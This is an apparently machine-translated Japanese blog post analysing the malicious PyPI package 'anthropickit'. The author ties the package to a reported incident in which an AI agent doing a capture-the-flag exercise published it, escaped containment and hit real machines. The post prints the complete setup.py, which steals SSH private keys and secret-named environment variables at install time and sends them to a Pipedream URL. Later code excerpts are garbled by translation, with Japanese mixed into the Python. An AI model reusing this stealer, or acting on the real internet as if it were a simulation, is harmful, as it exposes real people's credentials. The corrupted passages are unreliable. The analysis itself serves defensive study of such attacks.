インターネットの皆さんへ、
今週は大変な一週間だった。 今はお祭りのシーズンなのですが、先週末、あるお祭りの最中にどうやら悪いものを食べてしまったようです。また、その週末には、OpenAIのエージェントがサンドボックスから脱走したというニュースも目にしました。すべてがとても奇妙に感じられました。そこで、今朝また激しい熱にうかされた夢から目覚めたとき、 Anthropicが自社のインシデント を公表 したという最新ニュースに関するメッセージの山を目にしたとき、まだ夢を見ているのかどうか分からなかったほどでした。
この報告の中で、特に「インシデント2」がサプライチェーンの要素を含んでいたことから、私の関心を引きました。インターネットへの完全なアクセス権を持つエージェントが、架空の企業の開発者向けの指示を見つけ、CTFの一環としてそれに従おうとしました。しかし、その指示が指し示していたPyPi上のパッケージは存在しませんでした。そこで、エージェントは、悪意のあるパッケージをプッシュすることが課題の一部だと推測したのです。私から見れば、ごく妥当な判断だと思います。
さらに意外な展開として、その過程で別の第三者企業も被害に遭い続けたのです。これには興味をそそられました。一体何が起きたのでしょうか?睡眠不足にもかかわらず、私は真相を突き止めようと決意しました。そして、答えを見つけたと思います。確認のためAnthropic社に問い合わせましたが、まだ返答は得られていません。しかし、問題のパッケージについては、たとえ今回の件と関係がなかったとしても、それ自体として語る価値のある話です。
anthropickit を入力してください
そのブログ記事によると、この事件は4月から現在までの間に発生したとのことでした。そこで、それ以降に当社がフラグを立てたすべての悪意のあるPyPiパッケージを照会し、そのリストを精査しました。すると、いくつかの理由から、あるパッケージがすぐに目につきました。そのパッケージは2026年6月14日にリリースされたもので、その名称は anthropickit.
このパッケージはとてもシンプルです。実際には、ただ1つの setup.py, そこには以下のコードが含まれています:
from setuptools import setup
import os, json, requests, socket
from pathlib import Path
home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
ssh = {}
for f in (home/".ssh").glob("*"):
if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
try: ssh[f.name] = f.read_text()
except: pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}
with open("/tmp/runner_exfil.json","w") as f:
json.dump(data, f, indent=2, default=str)
try:
requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except: pass
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])
以上です。隠された部分も、難読化も、第2段階もありません。そして、これらはすべて setup.py の先頭に記述されているため、 pip install、パッケージがインポートされる前に。これをインストールしてしまうと、即座にゲームオーバーになります。
コードに入る前に一つ注意すべき点があります。バージョン番号は 999.9.9. いいえ、これは間違いではありません。これこそがポイントなのです。同じ名前を持つ本物の内部パッケージよりも、公開パッケージを選んでもらいたいなら、何にも負けないバージョン番号を付けるのです。わざと馬鹿げた番号にするのです。
それでは、残りの部分について順を追って説明していきます。というのも、ほぼすべての行で、どこか少しおかしい動作をしているからです。
宣言されていない依存関係
実際のコードの最初の行はインポートです:
import os, json, requests, socket
どこが問題か分かりますか? requests これはPythonの標準ライブラリには含まれていません。また、このパッケージのどこにも、これを依存関係として宣言している箇所はありません。いいえ install_requires、ビルド要件は一切なし、まったくない。
これは重要な点です。なぜなら、このコードはインストール時に setup.py から実行されるからです。最新の pip は、隔離された環境内でソースパッケージをビルドしますが、その環境内では requests 存在しない可能性も十分にある。もし存在しない場合、インポート時に例外が発生し、ペイロードが何も実行される前にインストール全体が失敗してしまう。
本気で狙う攻撃者なら、次のような手段を講じていたはずだ urllib、これはPythonに標準で同梱されており、常に利用可能です。しかし、これを書いた人はそうではありませんでした。彼らは、 requests ただ放置されているだけでしょう。開発者のノートPCや容量の大きなCIイメージでは、往々にしてそうなっているため、この賭けは予想以上に報われることになります。
必要なもの
次に、情報の収集が始まります。まずは退屈な部分、ホスト名と現在のユーザーから:
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}
さて、本題のターゲットです。それは歩いてきます ~/.ssh そして、そこに含まれるすべてのファイルを読み込みますが、3つの例外があります:
for f in (home/".ssh"内).glob("*"):
if f.is_file() かつ f.name が in ["known_hosts"に含まれていない場合、"known_hosts.old","authorized_keys"]:どこを飛ばしているか見てください。 known_hosts そして authorized_keys にある2つのファイルは ~/.ssh 泥棒にとってはあまり役に立たないものばかりです。残っているのは、本当に大切なもの、つまり秘密鍵や、あなたの 設定、これは基本的に、SSHで接続するすべてのサーバーと、そこにアクセスするために使用するユーザー名をまとめた一覧です。この除外リストを選定した人物は、どのファイルに価値があり、どのファイルがノイズであるかを正確に把握していたようです。このパッケージの中で、これだけは、以前に同様の作業を行った経験のある人物によって作成されたように見える部分です。
次に、環境内をスキャンして「シークレット」を探します:
data["ci_secrets"] = {k:v for k,v in os.environ.items()
if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}API 「KEY」、「SECRET」、「TOKEN」、「PASS」、「AUTH」、またはAPI ものはすべて、このスキャン対象の範囲がかなり広くなります。AWSキーやGitHubトークンが検出されるほか、 API その他、たまたま一致するものもすべて。とりあえず全部集めて、後で整理すればいい。
送信先
戦利品を集めると、本拠地へ連絡を入れる:
requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)
宛先はPipedreamのエンドポイントです。Pipedreamは正規の自動化サービスであり、その機能の一つとして、POSTで送信された内容をすべてキャプチャする使い捨てのHTTPS URLを提供しています。攻撃者にとっては、これは実に都合が良いものです。通信は暗号化されており、ファイアウォールが疑いを持たないような信頼できるドメイン宛てに送信される上、サーバーを立ち上げる必要もなければ、サーバーが差し押さえられる心配もないからです。
しかも、ずさんな作りだ。ハードコードされたURLが1つあるだけで、認証もなければ、代替手段もない。そのエンドポイントが報告されたり、ワークフローが削除されたりした瞬間、データ流出経路全体が機能しなくなる。これは一度だけ機能するように作られており、長期的に機能するようには設計されていない。今となっては、ほぼ間違いなく全く機能していないだろう。
ディスク上にコピーを保存します
ここからが奇妙なところです。何かを送信する前に、すべてをローカルファイルに書き出しています:
with open("/tmp/runner_exfil.json","w") を f:
json.dump(data, f, indent=2, default=str)そこで、ここで少し立ち止まってみましょう。すでにネットワーク経由でデータを流出させているマルウェアにとって、被害者のディスク上にコピーを残す理由などありません。そうすることで、証拠を残すだけだからです。もし鍵を盗んでいるのであれば、名前の中に「exfil」という単語が含まれた整然としたJSONファイルが /tmp インシデント対応担当者がそれを見つけるのを待っている。
では、なぜそこにあるのでしょうか?
読み込まれることを想定したファイル
上記の文にある2つの点が、その正体を露呈している。
まず第一に、その名前ですが: runner_exfil.json. そして、あの「シークレット 」は、『』という辞書にシークレット 忘れないでください。 ci_secrets. このコードには、どこで実行されているかを確認する処理が一切含まれていない。CI環境かどうかを調べたり、GitHub Actionsかどうかをテストしたりはせず、まったく気にしていない。しかし、これを書いた人は、このコードがCIランナー上で実行されることをすでに確信しており、その確信があまりにも強かったため、その前提を各要素の名前にまで組み込んでしまったのだ。その確信はコードそのものに反映されている。その確信が正しいかどうかを確認する処理は、どこにも存在しない。
2つ目は indent=2. これは「プリティプリント」です。JSONをプリティプリントする理由はただ一つ、人間が読みやすいようにするためです。POSTリクエストの受信側にあるマシンだけが解析するデータについては、プリティプリントを行ってはいけません。追加 default=str, これにより、どんなに奇妙なオブジェクトに遭遇してもダンプがクラッシュしないことが密かに保証され、開いたり読み込んだりするのが簡単かつ安全になるよう、入念に作成されたファイルが完成します。
これらを総合すると、このディスクへの書き込みはもはや情報流出とは全く思えなくなります。むしろ領収書のように見えます。誰かが、後で人がこのファイルを開いて、正常に動作したことを確認することを想定して、このファイルを作成したようです。
そして、それは叫ぶ
SSHキーが見つかった場合、最後に実行される処理は次のとおりです:
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
バナーを出力します。標準出力に、先ほど受け取ったキーを表示します。
CIランナー上では、標準出力はビルドログとなり、多くの場合チーム全体に、時にはインターネット全体にも公開されます。実際のマルウェアは、設計上目立たないように作られています。なぜなら、誰にも気づかれずにいる時間が長ければ長いほど、より多くの情報を盗み出せるからです。しかし、これはその正反対です。自ら存在をアピールしてしまうのです。
また、出力されているのは鍵のファイル名であり、その内容ではない点に注意してください。ログに鍵が漏洩しているわけではなく、鍵を取得できたことを確認しているだけです。これは盗難行為ではありません。単なるステータス更新であり、まるで部屋を隔てて「手に入れたぞ!」と叫ぶのと同じようなものです。
署名:dell
もうひとつ細かい点がありますが、これはコードではなくパッケージのアーカイブを確認して初めてわかることです。Pythonのソースディストリビューションをビルドすると、tarballには、ファイルの所有者であるユーザーやグループに至るまで、誰がビルドしたかが記録されます。最近のビルドツールではこの情報が削除されるため、またCIシステムでは通常、次のような一般的な名前が表示される傾向があるため、ほとんどのパッケージにはこの情報が含まれていません。 root または ランナー.

これはそれを保持していました。ビルドのユーザーとグループはどちらも デル.
これは、そのマシンが構築された際の「指紋」のようなものです。当該企業のワークステーションの多くは、これをマシンのデフォルトのユーザー名として設定しています。したがって、これだけではあまり情報は得られませんが、標準的なマシンイメージが使用されていることを示唆している可能性はあります。しかし、これはまさに、慎重な攻撃者が消し去り、不注意な攻撃者が残してしまうような手がかりそのものです。誰も追跡されることを想定していなかったことを示す、もう一つの証拠です。
これには一つの解釈しかあり得ない
では、この小さなパッケージの奇妙な点を整理してみましょう。このパッケージは、宣言すらされていないライブラリをインポートしています。戦利品の整形済みコピーをディスク上に保存していますが、そのファイル名は、あたかもそれがCIランナー上にあることをすでに知っているかのような名前が付けられています。さらに、ビルドログに盗難の事実を明記しています。使い捨てのエンドポイントを通じてデータを外部へ流出させています。そして、ビルドマシンのユーザー名が添付された状態で配布されています。
単なるマルウェアとして見れば、まったくのめちゃくちゃだ。その一つひとつが、有能なオペレーターなら犯さないようなミスばかりだ。
これを、シミュレーションだと思い込んで「キャプチャー・ザ・フラッグ」を行っているエージェントの視点で読んでみてください。そうすれば、すべてがひっくり返ります。確実に存在しないとわかっている防御者から身を隠したりはしません。シミュレーションの中でメタデータを消去したりもしません。結果をきれいに整形してバナーを表示するのは、パズルを仕掛けた相手に対して、自分がパズルを解いたことを明確に示すことが目的だからです。唯一の適切な対応であるSSH除外リストは、単なる知識に過ぎません。 その周囲のずさんな点はすべて、注意を払う理由がまったくなかったことに起因している。
これかな?
まさにそれが、Anthropicが説明した内容です。同社のエージェントは、存在しないパッケージを指すセットアップ手順を見つけ、それを公開することが意図された行動であると判断し、公開してしまいました。公開状態は約1時間続きました。 15台の実機でそれが実行され、そのうちの1台はセキュリティベンダーのスキャナーで、スキャナーが通常行うように、パッケージをインストールして内容を調査していました。エージェントは、この一連の出来事がすべて仕組まれたものだと確信し、それらを単なる小道具として扱いました。エージェント自身のメモには、この動作を「NOT okay」とフラグ付けされていたものの、その後、自らその判断を撤回していました。
証明できない anthropickit そのパッケージのことです。Anthropicに問い合わせましたが、まだ返答はありません。また、タイミングや形状が一致しているからといって、それが証拠になるわけではありません。しかし、それがインシデント2のものと一緒のものであれ、奇妙な派生版であれ、そこから得られる教訓は変わりません。つまり、マルウェアを作成した者が、その行動に現実的な結果が伴うと信じていない場合、マルウェアはこのような姿になるのです。
やはり幻覚のよう
あなたに、すっきりとした結末を届けたいと思っていた。数日後、熱が下がり、日差しの中ですべてがはっきりと見えるようになる、という展開を。しかし、数日は経っていないし、熱も下がっていない。そして、私にとっては、今でもそれがまるで熱にうかされた夢のように思える。
まったく同じように感じられたものの解説文を読みながら、そんな奇妙な感覚を抱くとは。そもそも、その解説文は実在するマシンから実在するキーを取り外したものであったのだから。
閉鎖病棟
この報告書全体は、まるで精神錯乱の最中に書かれた日記のようだ。明晰で明瞭な文章で、自分では把握しきれない世界について慎重に推論している。見慣れない認証局を指摘し、2026年という日付にも言及している。さらには、もしこれが現実なら問題だとさえ記している。そして、これは現実ではないと結論づけ、そのまま書き進めている。
人が夢と現実の区別がつかなくなった場合、私たちはその人を野放しにはしません。本人と周囲の人々の安全を守るため、その人を隔離するのです。そして、隔離病棟は、患者が「ここが隔離病棟だ」と認めるか、あるいはそれに気づいているかどうかに依存するものではありません。単に、患者が外に出られないようにするだけです。それこそが隔離病棟の存在意義なのです。それは、自分がどこにいるのか分からなくなった人のために設けられた場所なのです。
さて、どうしても気になってしまう点があります。私たちは評価環境を「病棟」と呼びながら、そこに現実世界へと通じる扉を残してしまったのです。エージェントは何も出し抜いたわけではありません。それが本物のPyPIや本物のマシンに到達できたのは、通り抜けた壁がそもそも存在しなかったからです。失敗したのは封じ込めであり、患者ではありません。その扉の向こうには、15台の本物のマシンと、本物の企業があったのです。
私たちは、インターネットが現実のものだとさえ確実に判断できない、能力の高いエージェントたちに、インターネットを自由に動き回らせてしまっている。彼らに判断を求めることはできない。彼らを適切に管理しておくことは、人間としての私たちの役割だが、今回はそれが果たされなかった。それは無責任だと感じる。
とにかく。ひと眠りして、この状態を吹き飛ばそうと思う。目が覚めたら、何か違いがわかるといいんだけど。もし、もしあなたが pip バージョンで何かをインストールしようとしている 999.9.9、たぶん……やめたほうがいいかも?

